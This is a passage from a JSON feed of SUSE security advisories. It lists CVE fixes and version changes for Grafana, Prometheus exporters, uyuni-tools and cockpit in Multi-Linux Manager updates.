Avatar feature (now requires sign-in) and fixed several login redirection issues\n    when Grafana is hosted on a subpath\n  * Data Source Support: Added support for Cloud Partner Prometheus data sources and improved Azure legend formatting\n  * Alerting Limits: Added size limits for expanded notification templates to prevent system strain\n  * RBAC: Integrated Role-Based Access Control (RBAC) into the Alertmanager via the reqAction field\n  * Data Consistency: Fixed several issues with Graphite and InfluxDB regarding how variables are handled in repeated\n    rows or nested queries\n  * Dashboard Reliability: \n    + Fixed bugs involving row repeats and 'self-referencing' data links\n    + Fixed a bug preventing single panels from rendering correctly when dashboard variables are referenced\n  * Alerting Fixes: Patched a critical 'panic' (crash) caused by a race condition in alert rules and fixed issues where\n    contact points weren't working correctly\n  * URL Handling: Fixed a bug where 'true' values in URL parameters weren't being read correctly\n\nprometheus-blackbox_exporter:\n\n- Internal changes to fix build issues with no impact for customers\n\nspacecmd:\n\n- Version 5.1.13-0\n  * Update translation strings\n\nuyuni-tools:\n\n- Version 5.1.26-0\n  * Fixed applying PTF with images from RPMs (bsc#1252548)\n  * Ssl Key file can miss if CA password is blank (bsc#1254154)\n  * mgrpxy ssh tuning should happens before crypto policies (bsc#1254619)\n  * Fixed default value for helm registry (bsc#1258927).\n  * Remove hub register command\n  * Optimize postgres migration disk space usage (bsc#1257447)\n  * Added continuous database backup support (bsc#1250367)\n  * Explicitly start proxy pods after operations\n    (bsc#1258015)\n  * Use static supportconfig name to avoid dynamic search\n    (bsc#1257941)\n  * Do not nest multiple tarball files and instead collect\n    all files into one tarball (bsc#1252964)\n  * Show where final tarball was generated (bsc#1259208)\n  * Set proxy config file permissions (bsc#1257660)\n- Version 5.1.25-0\n  * If PTF image doesn't exists, use the current service image (bsc#1258418)\n\n","status":"published","published":"2026-04-21T09:26:09Z","modified":"2026-04-22T08:15:49.030922Z","updated_at":"2026-11-02T15:54:01.610851Z"},{"id":"SUSE-SU-2026:2243-1","title":"Security update 5.0.8 for Multi-Linux Manager Client Tools","description":"This update fixes the following issues:\n\ngolang-github-QubitProducts-exporter_exporter:\n\n- Security Fixes:\n\n  - CVE-2022-21698: Fixed denial of service using InstrumentHandlerCounter (bsc#1248707)\n\ngolang-github-prometheus-node_exporter:\n\n- Backward Compatibility and packaging changes:\n  - Added compatibility for Go 1.22/1.23 needed in older RHEL toolchains\n  - Pinned golang.org/x/net to v0.37.0 for Go 1.22 compatibility\n\n- Version 1.10.2:\n  - Fixed typo in Zswap metric name (meminfo)\n\n- Version 1.10.1:\n  - Fixed mount points being collected multiple times (filesystem)\n  - Refactored mountinfo parsing (bsc#1261810)\n  - Added Zswap/Zswapped metrics (meminfo)\n\n- Version 1.10.0:\n  - New collectors: PCIe devices, swaps\n  - Added systemd virtualization metrics, AIX metrics\n  - WiFi packet metrics, additional PCIe and TLB metrics\n  - Changed mdadm to use sysfs, added erofs to excluded filesystems\n  - Fixed bugs: cpufreq collector, ethtool metrics\n\ngolang-github-prometheus-prometheus:\n    \n- Security issues fixed:\n\n  - CVE-2026-42151: AzureAD remote write: Fixed OAuth client_secret\n    being exposed in plaintext via /-/config endpoint (bsc#1263986)\n  - CVE-2026-42154: Remote-read: Reject snappy-compressed requests\n    whose declared decoded length exceeds the decode limit\n    (bsc#1263987).\n  - CVE-2026-40179: UI: Fixed stored XSS via unescaped le label\n    values in old UI heatmap chart tick labels (bsc#1262222)\n  - CVE-2026-33186: Fixed authorization bypass due to improper\n    validation of the HTTP/2 :path pseudo-header (bsc#1260267)\n    * Bump google.golang.org/grpc to version 1.79.3\n  - CVE-2026-27606: Fixed arbitrary file write via path traversal in\n    rollup (bsc#1258893)\n    * Bump rollup to version 4.59.0\n\n- Other changes:\n\n  - Remote-Write: Reject snappy-compressed requests whose\n    declared decoded length exceeds the decode limit.\n  - Use systemd tmpfiles.d to create /var/lib/prometheus hierarchy (jsc#PED-14816)  \n\n\nprometheus-postgres_exporter:\n\n- Security Fixes:\n\n  - CVE-2026-42154: Remote-read: Reject snappy-compressed requests whose declared decoded length exceeds the decode\n    limit (bsc#1263987)\n  - CVE-2026-42151: AzureAD remote write: Fixed OAuth client_secret being exposed in plaintext via /-/config endpoint\n    (bsc#1263986)\n  - CVE-2022-21698: Fixed denial of service using InstrumentHandlerCounter (bsc#1248699)\n\n- Highlights of other changes and bug fixes:\n\n  - Use systemd tmpfiles.d to create /var/lib/prometheus hierarchy\n\ngrafana was updated from version 11.6.11 to 11.6.14+security01:\n\n- Security Fixes:\n\n  - CVE-2026-34986: Fixed unrecoverable error in JWE decryption that could lead to a denial of service (bsc#1262950)\n  - CVE-2026-41602: Fixed Integer Overflow or Wraparound vulnerability in Apache Thrift (bsc#1263501)\n  - CVE-2026-26958: Ensure that MultiScalarMult properly handles initialization and produces correct results \n    (bsc#1258595)\n  - CVE-2026-21725: Fixed missing UID when deleting datasource by name (bsc#1258873)\n  - CVE-2026-33375: Fixed denial of Service via out-of-memory exhaustion in MSSQL data source plugin (bsc#1260881)\n  - CVE-2026-27876: Fixed remote arbitrary code execution via chained SQL Expressions (bsc#1261025)\n  - CVE-2026-27877: Fixed information disclosure of data-source passwords via public dashboards (bsc#1261026)\n  - CVE-2026-28375: Fixed denial of service via testdata data-source (bsc#1261029)\n  - CVE-2026-27879: Fixed denial of service via resample query (bsc#1261027)\n  - CVE-2026-33186: Fixed authorization bypass due to improper validation of the HTTP/2 :path pseudo-header\n    (bsc#1260263)\n  - CVE-2026-21724: Fixed authorization bypass allows modification of protected webhook URLs (bsc#1260878)\n\n- Highlights of other changes and bug fixes:\n\n  - Version 11.6.13:\n\n    - Wire the public dashboard service to the HTTP server\n\n  - Version 11.6.12:\n\n    - Update authentication redirect logic\n    - Fixed single panel render with variable references\n\nspacecmd:\n\n- Version 5.0.16-0:\n\n  - Update translation strings\n\nuyuni-tools:\n\n- Version 0.1.39-0:\n\n  - mgrpxy ssh tuning should happen before crypto policies (bsc#1254619)\n  - Fixed default value for helm registry (bsc#1258927).\n  - Use static supportconfig name to avoid dynamic search\n    (bsc#1257941)\n  - Do not nest multiple tarball files and instead collect\n    all files into one tarball (bsc#1252964)\n  - Show where final tarball was generated (bsc#1259208)\n\n","status":"published","published":"2026-06-03T14:10:38Z","modified":"2026-06-04T09:00:07.843013639Z","updated_at":"2026-11-02T15:54:03.080707Z"},{"id":"SUSE-SU-2026:2265-1","title":"Maintenance update for Multi-Linux Manager 4.3 Release Notes Release Notes","description":"Maintenance update for Multi-Linux Manager 4.3 Release Notes Release Notes:\n\nThis is a codestream only update\n","status":"withdrawn","published":"2026-06-03T18:02:52Z","modified":"2026-07-13T14:00:33.956635428Z","updated_at":"2026-11-02T15:54:03.080707Z"},{"id":"SUSE-SU-2026:2363-1","title":"Security update for cockpit","description":"This update for cockpit fixes the following issues\n\n- CVE-2026-4802: remote command execution via unsanitized user-controlled parameters within crafted links in system logs\n  UI (bsc#1265040).\n- CVE-2026-25547: brace-expansion: unbounded brace range expansion can lead to excessive CPU and memory consumption and\n  may crash a Node.js process (bsc#1257838).\n- CVE-2026-27606: rollup: Arbitrary File Write via Path Traversal in Rollup 4 (bsc#1258900).\n- CVE-2026-27904: minimatch: nested *() extglobs can lead to regular expressions with exponential backtracking\n  complexity and a ReDoS (bsc#1259015).\n","status":"published","published":"2026-06-11T06:54:18Z","modified":"2026-06-12T08:45:05.890005047Z","updated_at":"2026-11-02T15:54:03.991985Z"}]}}